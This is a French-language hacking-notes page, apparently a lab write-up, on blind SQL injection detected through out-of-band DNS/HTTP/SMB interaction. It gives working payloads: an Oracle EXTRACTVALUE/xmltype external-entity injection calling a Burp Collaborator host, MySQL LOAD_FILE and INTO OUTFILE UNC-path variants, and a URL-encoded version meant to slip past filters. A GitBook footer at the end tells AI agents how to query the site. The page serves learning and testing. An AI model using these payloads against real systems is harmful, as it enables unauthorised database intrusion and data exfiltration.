> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/sql-injection/blind-sql-injection-with-oob-interaction.md).

# Injection SQL aveugle avec interaction hors bande

### Injection SQL aveugle avec interaction hors bande

**Contexte bref :** la valeur de `TrackingId` un cookie (ou un autre paramètre) est injecté dans une requête SQL asynchrone. La réponse HTTP ne révèle rien, mais il est possible de provoquer une interaction externe (DNS/HTTP) vers un service Burp Collaborator/OAST, ce qui permet d'exfiltrer ou de confirmer l'exécution d'une charge utile.

<figure><img src="/files/c6d0b740313e8fbdfaf0e142aaf38fb678902600" alt=""><figcaption></figcaption></figure>

### Techniques et vecteurs

#### Oracle — entité XML externe (XXE) via `EXTRACTVALUE` / `xmltype`

* Principe : construisez un document XML contenant une entité externe pointant vers votre sous-domaine Collaborator. L'appel à `EXTRACTVALUE(xmltype(...), '/l')` évalue la DTD et provoque la requête HTTP/DNS sortante vers le domaine contrôlé :

```sql
' UNION SELECT EXTRACTVALUE(
    xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLAB-SUBDOMAIN/"> %remote;]>'),
    '/l') FROM dual-- -
```

* Remarques : certains caractères doivent être encodés/échappés selon le contexte (guillemets, `%` dans la DTD, etc.). Dans certains cas, URL-encodez des parties de la charge utile.

#### MySQL — fichiers réseau via `LOAD_FILE` / `SELECT... INTO OUTFILE`

* `LOAD_FILE('//BURP-COLLAB-SUBDOMAIN/a')` peut provoquer une requête SMB/DNS sortante dans les environnements qui autorisent l'accès réseau au serveur de fichiers ou la résolution des chemins UNC.
* `SELECT... INTO OUTFILE '//BURP-COLLAB-SUBDOMAIN/a'` écrit un fichier sur un partage réseau, provoquant souvent une interaction réseau observable du côté de Collaborator.
* Remarque : ces techniques dépendent fortement de la configuration (privilèges du compte BD, options du serveur, accès réseau sortant).

#### Notes pratiques

* Pour Burp Collaborator / OAST, utilisez le sous-domaine fourni (par ex. `abcd.oastify.com`) dans l'URL/le chemin de l'entité ou le chemin UNC.
* Certains serveurs tronquent/filtrent les charges utiles : testez différentes variantes d'encodage (encodage d'URL, `%` échappement → `%25`, variations de commentaires, etc.).
* Lorsque la requête Collaborator arrive, vous avez la preuve de l'exécution OOB (DNS/HTTP/SMB), ce qui confirme la vulnérabilité.

#### Exemple — variante avec encodage (note : vous avez déjà testé et reçu la requête)

* Exemple encodé (que vous avez présenté) :

  ```sql
  ' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://vwvitjrnb8um4dlf2x9blfuy3p9gxbl0.oastify.com"> %25remote%3b]>'),'/l') FROM dual-- -
  ```

→ `%` encodage → `%25` et `;` → `%3b` pour contourner certains filtres/analyses.

<figure><img src="/files/fefd50485c5c8ec0089b56a636883505e2e15b67" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/sql-injection/blind-sql-injection-with-oob-interaction.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
